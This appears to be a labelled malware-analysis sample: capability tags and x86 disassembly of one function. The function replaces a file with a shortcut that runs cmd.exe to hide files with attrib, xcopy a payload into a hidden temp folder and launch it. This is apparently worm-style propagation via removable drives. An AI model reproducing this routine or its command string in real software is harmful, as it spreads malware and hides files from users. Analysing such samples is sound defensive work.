Function at 0x402670
Capabilities:
Create shortcut via ishelllink
Delete file
Get common file path
Get disk information
Set file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x9f8
mov dword [ebp - 0x21c], 0
mov dword [ebp - 0x224], 0
push 0
push 0x24
lea eax, [ebp - 0x208]
push eax
push 0
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathW]
mov word [ebp - 0x202], 0
push 0
push 0
push 0
push 0
lea ecx, [ebp - 0x218]
push ecx
push 0
push 0
lea edx, [ebp - 0x208]
push edx
call dword [sym.imp.KERNEL32.dll_GetVolumeInformationW]
mov eax, dword [ebp - 0x218]
push eax
call fcn.004025d0
add esp, 4
push 5
lea ecx, [ebp - 0x214]
push ecx
call fcn.00402600
add esp, 8
mov word [ebp - 0x20a], 0
push str.CoInitializeEx
push 0x40d5b8
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x220], eax
push 0
push 0
call dword [ebp - 0x220]
mov dword [ebp - 0x228], eax
cmp dword [ebp - 0x228], 0
je 0x402739
cmp dword [ebp - 0x228], 1
je 0x402739
or eax, 0xffffffff
jmp 0x40291e
lea edx, [ebp - 0x21c]
push edx
push 0x40ebac
push 1
push 0
push 0x40ebbc
call dword [sym.imp.ole32.dll_CoCreateInstance]
mov dword [ebp - 0x228], eax
cmp dword [ebp - 0x228], 0
je 0x40276b
or eax, 0xffffffff
jmp 0x40291e
push 0x7d0
lea eax, [ebp - 0x9f8]
push eax
call fcn.00402250
add esp, 8
cmp dword [ebp + 0x14], 0
je 0x4027be
mov ecx, dword [ebp + 0xc]
push ecx
lea edx, [ebp - 0x214]
push edx
mov eax, dword [ebp + 0xc]
push eax
lea ecx, [ebp - 0x214]
push ecx
mov edx, dword [ebp + 0xc]
push edx
mov eax, dword [ebp + 0xc]
push eax
mov ecx, dword [ebp + 8]
push ecx
push str._c____SystemRoot__explorer.exe___cd___s__attrib__s__h___cd___s__xcopy__F__S__Q__H__R__Y___cd___s___temp___s__attrib_s_h___cd___s__start___temp___s_s__exit_
lea edx, [ebp - 0x9f8]
push edx
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x24
jmp 0x4027f5
mov eax, dword [ebp + 0xc]
push eax
lea ecx, [ebp - 0x214]
push ecx
mov edx, dword [ebp + 0xc]
push edx
lea eax, [ebp - 0x214]
push eax
mov ecx, dword [ebp + 0xc]
push ecx
mov edx, dword [ebp + 0xc]
push edx
mov eax, dword [ebp + 8]
push eax
push str._c__start___cd___s__attrib__s__h___cd___s__xcopy__F__S__Q__H__R__Y___cd___s___temp___s__attrib_s_h___cd___s__start___temp___s_s__exit_
lea ecx, [ebp - 0x9f8]
push ecx
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x24
push str._SystemRoot__system32cmd.exe
mov edx, dword [ebp - 0x21c]
push edx
mov eax, dword [ebp - 0x21c]
mov ecx, dword [eax]
mov edx, dword [ecx + 0x50]
call edx
lea eax, [ebp - 0x9f8]
push eax
mov ecx, dword [ebp - 0x21c]
push ecx
mov edx, dword [ebp - 0x21c]
mov eax, dword [edx]
mov ecx, dword [eax + 0x2c]
call ecx
cmp dword [ebp + 0x14], 0
je 0x40284c
push 3
push str._SystemRoot__system32SHELL32.dll
mov edx, dword [ebp - 0x21c]
push edx
mov eax, dword [ebp - 0x21c]
mov ecx, dword [eax]
mov edx, dword [ecx + 0x44]
call edx
jmp 0x402867
push 0
push str._SystemRoot__system32SHELL32.dll
mov eax, dword [ebp - 0x21c]
push eax
mov ecx, dword [ebp - 0x21c]
mov edx, dword [ecx]
mov eax, dword [edx + 0x44]
call eax
push 7
mov ecx, dword [ebp - 0x21c]
push ecx
mov edx, dword [ebp - 0x21c]
mov eax, dword [edx]
mov ecx, dword [eax + 0x3c]
call ecx
lea edx, [ebp - 0x224]
push edx
push 0x40ebcc
mov eax, dword [ebp - 0x21c]
push eax
mov ecx, dword [ebp - 0x21c]
mov edx, dword [ecx]
mov eax, dword [edx]
call eax
push 0x80
mov ecx, dword [ebp + 0x10]
push ecx
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
mov edx, dword [ebp + 0x10]
push edx
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
push 1
mov eax, dword [ebp + 0x10]
push eax
mov ecx, dword [ebp - 0x224]
push ecx
mov edx, dword [ebp - 0x224]
mov eax, dword [edx]
mov ecx, dword [eax + 0x18]
call ecx
mov dword [ebp - 0x228], eax
mov edx, dword [ebp - 0x224]
push edx
mov eax, dword [ebp - 0x224]
mov ecx, dword [eax]
mov edx, dword [ecx + 8]
call edx
mov eax, dword [ebp - 0x21c]
push eax
mov ecx, dword [ebp - 0x21c]
mov edx, dword [ecx]
mov eax, dword [edx + 8]
call eax
push 0
push 0
push 3
push 0
push 3
push 0x80000000
mov ecx, dword [ebp + 0x10]
push ecx
call dword [sym.imp.KERNEL32.dll_CreateFileW]
call dword [sym.imp.ole32.dll_CoUninitialize]
xor eax, eax
mov esp, ebp
pop ebp
ret